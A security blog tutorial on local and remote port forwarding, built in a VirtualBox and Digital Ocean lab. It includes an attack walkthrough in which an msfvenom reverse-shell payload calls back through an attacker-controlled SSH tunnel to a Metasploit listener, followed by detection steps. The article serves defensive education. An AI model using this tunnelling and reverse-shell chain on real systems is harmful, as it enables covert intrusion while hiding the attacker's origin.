What is Port Forwarding?
Port Forwarding is a technique that is used to allow external devices access to computers services on private networks. The core concept of port forwarding is NAT i.e., Network Address Translation, which allows internal devices to share a single Public IP Address.
In other words, A NAT facility that takes traffic from a permitted port updates the destination address to the configured mapped IP address, and notes this so it can route outgoing traffic back appropriately is known as port forwarding.
Port Forwarding vs Tunneling
| Port Forwarding | Tunneling |
| Only the data accessible in the network packet envelope can be used to execute port forwarding. | Tunneling necessitates the examination of the data contained within the packet (at least to establish the tunnel). |
| In the sense that all data fulfilling the requirements are forwarded, port forwarding is ‘stateless.’ | Data from one packet is related to/dependent on data in another, and tunnels are stateful and managed from outside the network protocol. |
| Low-spec network equipment can perform port forwarding; all it does is analyze the incoming port/host combination, rewrite the envelope, and divert the packet somewhere else. | Tunneling necessitates incorporating logic into the stream, implying a larger load and a more robust system on which to implement it. |
Also Read: Hunting for Suspicious Windows Services – Mind Map
Why Port Forwarding into Tunneling?
- An encrypted tunnel can be used to send data securely through an untrusted network, such as an unprotected Wi-Fi network or the public internet.
- You can utilize a tunnel on one port to send data that would normally be sent on another, evading network security while remaining completely transparent to both the client and the server.
- You can use a tunnel to connect two devices or networks using a protocol that isn’t native to the transport network.
Port Forwarding Types
1. Local Port Forwarding
This type can be defined as, accessing data from destination machine (should be an internal resource which not exposed to internet) through an intermediate device called Router/Firewall, in that specific routing configurations are implemented based on the requirement. This will allow the data to be pulled from destination machine to local machine.
To explain the above statement practically we have decided to detail using a demo which includes our Host machine and Guest machine (deployed in VirtualBox).
Now, let us understand the network architecture of this concept which we have created for the audience to get the practical understanding how local port forwarding work in real time.
We are mapping the architecture components with definition terminologies which explained before
- Destination Machine here represents Host B
- Local Machine here represents Host A
- Intermediate device (Router/Firewall) here represents Port Forwarding Rule (PF Rule) which created in VM Network section. We will see this later on this article.
One by one we will brief about lab components,
Destination machine (Host B) has Apache server running on port 80.
VM in Virtual Box, our case it is Ubuntu Desktop version. Go to “Network” section by opening VM settings, choose “Attached to” to select NAT option and then click “Port Forwarding” button on the same dialog box.
Also Read: Threat Hunting with EventID 5145 – Object Access – Detailed File Share
Create 2 rules which displayed on the below screenshot and click ok to apply features on the created VM.
Intermediate device (PF Rule) contains 2 rules one for routing traffic from destination machine (Host B)’s service running on port 80 to the local machine (Host A) loopback IP (127.0.0.1) on port 2222. The other one for routing traffic from destination machine (Host B)’s service running on port 80 to the local machine (Host A) LAN IP (192.169.1.2) on port 2222.
On the local machine (Host A), open any browser with 2 different tabs. One for checking on loopback IP and other one is for LAN IP. Both the tabs should have the port number as 2222 (as we configured the port 2222 on the intermediate device (RF Rule)).
Also Read: Latest Cyber Security News – Hacker News !
You all would be thinking why do we need to create a rule for routing traffic to local machine (Host A)’s loopback IP (127.0.0.1).
The above illustrated demo is all based on normal business or individual use of local port forwarding.
Let’s think this same concept in the perspective of security like how an attacker/cybercriminal would make us of this and in which scenario / situation.
Assume that attacker already got a shell from an internal asset using a simple technique called Phishing. Attacker now wants to access a resource which is behind a firewall / router in the organization intranet. Somehow attacker tried hard to collect details regarding IP address of the machine where companies’ sensitive resources are present. Using brute force attack or default credentials or any public exploit (brand based) on the intermediate firewall / router, attacker got the access to that. New local port forwarding rules are created where attacker mapped his/her machine loopback IP to pull the data from destination machine.
This way attackers can hide their own identity internally even though they are controlling the compromised machine from outside.
Detection and Response
Network Capture using Wireshark on destination machine (Host B)
Where there is an abuse, there should be detection too. To detect the live anomaly, run Wireshark on the destination machine (Host B), to understand the network patterns.
On the network packet level, when local machine (Host A) request the URL http://127.0.0.1:2222 or http://192.168.1.2 from the browser, the request traffic is routed to the intermediate device’s (Firewall / Router) IP “10.0.2.2” then it act as a forward proxy, behalf of local machine’s (Host A) loopback IP (127.0.0.1) / LAN IP (192.169.1.2), it forwards the traffic to destination machine (Host B). The request is being acknowledged by destination machine (Host B), forwards the same to intermediate device’s (Firewall / Router) IP “10.0.2.2” and now it acts as reverse proxy to send the response back to local machine (Host A). Finally, user in the local machine (Host A) could view the Apache server page both in loopback IP (127.0.0.1) / LAN IP (192.169.1.2).
Forward intermediate device’s (Firewall / Router) logs and destination machine (Host B) logs to the SIEM tool like Splunk, Qradar, Azure Sentinel, etc.
- Investigate the IP address which uses the router IP as proxy to send an ingress request to the internal resources.
- Try to identify the number of egress traffic which sent from victim machine to the router IP for certain interval of time along with bytes received and transferred.
Above mentioned are few points to do an investigation using available logs. Additionally, we can use Zeek (formerly called Bro) and Sysmon on the network and host level to identify the exact anomaly detections.
Also Read: Latest IOCs – Threat Actor URLs , IP’s & Malware Hashes
2. Remote Port Forwarding
Accessing data from destination machine (should be an internal resource which need to be exposed to internet) through an intermediate device called Public Remote Server.
Let’s first understand basic use of Remote Port Forwarding. To brief this in detail, we have created a small architecture as you can see it below.
- Destination Machine here represents Host B which resides inside Virtual Box running Apache Server
- Public Remote Server here represents Remote Server which has Public IP
- Public Users who try to access the Remote Server via Internet
As we already know that Apache server is running on the destination machine (Host B), through SSH tunneling we have mapped port 80 on destination machine (Host B) to the Public IP of public remote server (Remote Server) mapped to the port 2222. In this way data transmission of destination machine (Host B) to public remote server (Remote Server) can happen securely.
To execute this practically do the following.
- Create a cloud server or desktop version of Linux or Windows based on the individual choice. Here I have used Digital Ocean Droplet to create Ubuntu machine which has scalable Public IP. This should be your intermediate device which we mentioned as remote server during the definition of Remote Port Forwarding.
- Remote Server should have SSH port should be listening for SSH client request from destination machine (Host B)
- Destination machine (Host B) should have SSH client installed in it.
- Make sure the public remote server is pinging from destination machine (Host B)
- Also check the status of Apache server status whether it is running or not using Linux command “sudo service apcahe2 status”.
- Finally, some changes need to be done in public remote server (Remote Server) and the changes are below
- Using SSH, login to the public remote server (Remote Server)
- Navigate to the path “/etc/ssh/”
- Open sshd_config file on the file by nano editor (don’t forget to check that nano editor has been installed or not)
- Scroll down and do the changes as we showed in the below screenshot
- Uncomment “#” for the line “AllowTcpForwarding no” and change its value from “no” to “yes”
- Add a new instruction at the last “GatewayPorts yes”
Execute the below report port forwarding command to successfully execute on real time
ssh -R <public_remote_server_port>:<destination_machine_LAN_IP>:<destination_machine_port> <public_remoter_server_login_username>@<public_remoter_server_Public_IP>So far what we have seen above are one of the general use cases, now we are going to see how Remote Port Forwarding can be used for offensive purpose. To say in a very simple statement – how attacker use this type of port forwarding on the real time to get the initial foothold into an internal asset of an organization.
During the explanation of Local Port Forwarding, we have seen a scenario to understand effectively. Let us take a portion of it and try to give you a holistic view of Remote Port Forwarding.
“Assume that attacker already got a shell from an internal asset using a simple technique called Phishing.”
In order to detail the above statement, we have made a small setup in our local machine.
Will explain the acronyms of lab components
- Attacker Machine here represents Host B which is spin up in Virtual Box and has kali installed in it.
- Public Server here represents as Remote Sever which is controlled by attacker who has attacker machine too.
- Victim Machine here represents Host A which is spin up in VMWare and has OS Windows 10 installed in it.
- All 3 components are in 3 different networks.
How this lab setup will work?
On the remote server (deployed on Digital Ocean) do the same changes in sshd_config file located under “/etc/ssh/” which we have discussed before above on this topic.
Attacker Machine (Host B),
- Make sure the Remote Server Public IP is pingable or not and also check ssh client enabled on the machine.
- Create a payload using msfvenom, and command to create is below along with screenshot
Command: msfvenom -p <desired_payload_based_on_victim_architecture_and _platform_type> LHOST=<Remote_Sever_Public_IP> LPORT:<Remote_Server_Random_Port> -f <Payload_output_format> > <Output_Filename>
Open a new terminal window, and type the command in the below screenshot
Once the above command executed successfully you will see the below result
If the command not executed properly, please turn off and on the Remote Server and open again a new terminal (since old terminal might be having session cache so there are high chances to get the same kind of command execution error) then execute the command
Successfully we have established SSH tunneling between Attacker machine (Host B) and Remote Server
Most awaiting and final part is to create a proper listener on Attacker Machine (Host B) and there we go below to see how it can be done
Open a new terminal, type msfconsole and do the below config (screenshot attached) to create a listener which will respond the request coming from Victim Machine (Host A).
Also Read: Dynamic Malware Analysis – Procmon to Extract Indicators of Compromise
Do the below configuration for setting up multi handler in meterpreter and we have given screenshot immediate after the below one.
Now the listener starts listening for the request which will be coming from the Victim Machine (Host A)
Finally, lets drop the payload and double click it,
Payload started its execution as per the below screenshot.
Check on the Attacker Machine (Host B), we got the reverse shell back successfully from Victim Machine (Host A).
Live PCAP Capture for Remote Port Forwarding
Network Traffic Capture on the Victim Machine clearly says, that defender could only see the intermediate device IP (Remote Server) not the original attacker IP which is tunneled with Attacker Machine Kali (Host B).
- Data are getting exfiltrated to Remote Sever hosted in Digital Ocean having Public IP and the protocol is TLSv1.2 (the payload is reverse https)
- Egress Traffic are from Victim machine to Remote Server through TCP protocol
Detection & Response:
When there is a suspect of live ongoing malware communicating in the victim system, do the following ideas.
- Take out forensic image of the affected machine without data tampering
- Perform dynamic analysis with the help of below basic utilities
- Wireshark – Capture the network traffic
- Netstat command alternative to Wireshark windows built in command
- Process Hacker – Determine the suspicious process and its properties
- Wmic and tasklist – windows built in command to identify process id and location
Process Hacker to identify the malicious process.
Process hacker to identify Remote malicious IP.
Netstat to identify malicious traffic from the payload which we identified on the above screenshots
Command: netstat -ano | findstr <payload_process_id>Wmic to identify process location on the windows machine.
Command: wmic process get executablepath,processid,name | findstr <process_id>As a conclusion
Local Port Forwarding is mostly being used after taking the initial foothold into an organization asset. To take the initial foothold Remote Port Forwarding is commonly used technique to take the reverse shell back since most of the organization won’t able to control egress traffic. Better defenders should continuously monitor egress traffic from all the internal assets and at the same time should implement strong correlation rule by taking proper log sources in SIEM tool.
References:
https://goteleport.com/blog/ssh-tunneling-explained/
https://www.softwaretestinghelp.com/port-forwarding-tutorial/
https://www.varutra.com/port-forwarding-pivoting-and-tunneling/
https://pswalia2u.medium.com/ssh-tunneling-port-forwarding-pivoting-socks-proxy-85fb7129912dtps://levelup.gitconnected.com/bypass-firewalls-and-routers-with-reverse-tunnels-ff584c62e7a
https://guide.offsecnewbie.com/port-forwarding-ssh-tunneling
https://www.trisul.org/blog/detecting-ssh-tunnels/
https://alparslanakyildiz.medium.com/incident-response-case-from-ssh-tunnel-to-endpoint-analysis-a4a7c9d0b67d
https://www.youtube.com/watch?v=paVIwdcQdng
https://www.youtube.com/watch?v=GC17gLG50ak
https://www.youtube.com/watch?v=N8f5zv9UUMI
https://www.hackingarticles.in/port-forwarding-tunnelling-cheatsheet/
https://sechub.medium.com/red-teaming-fast-tcp-tunnel-transported-over-http-secured-via-ssh-what-else-do-we-need-831d13811874
https://sechub.medium.com/blue-team-port-forwarding-detection-3800ec1fbf4c
https://www.binarytides.com/check-port-forwarding-with-netcat/
https://www.youtube.com/watch?v=FLoe9S4TASk
https://www.ired.team/offensive-security/lateral-movement/ssh-tunnelling-port-forwarding
https://sushant747.gitbooks.io/total-oscp-guide/content/port_forwarding_and_tunneling.html
https://github.com/twelvesec/port-forwarding
https://github.com/carlospolop/hacktricks/blob/master/tunneling-and-port-forwarding.md
https://gist.github.com/nitred/bf83da4d960ed94dd39b9fd6d1d4a655#file-ssh_utils_sock5-md
https://www.youtube.com/watch?v=E-_TRQ7bQos
https://superuser.com/questions/749919/is-there-a-difference-between-port-forwarding-and-tunneling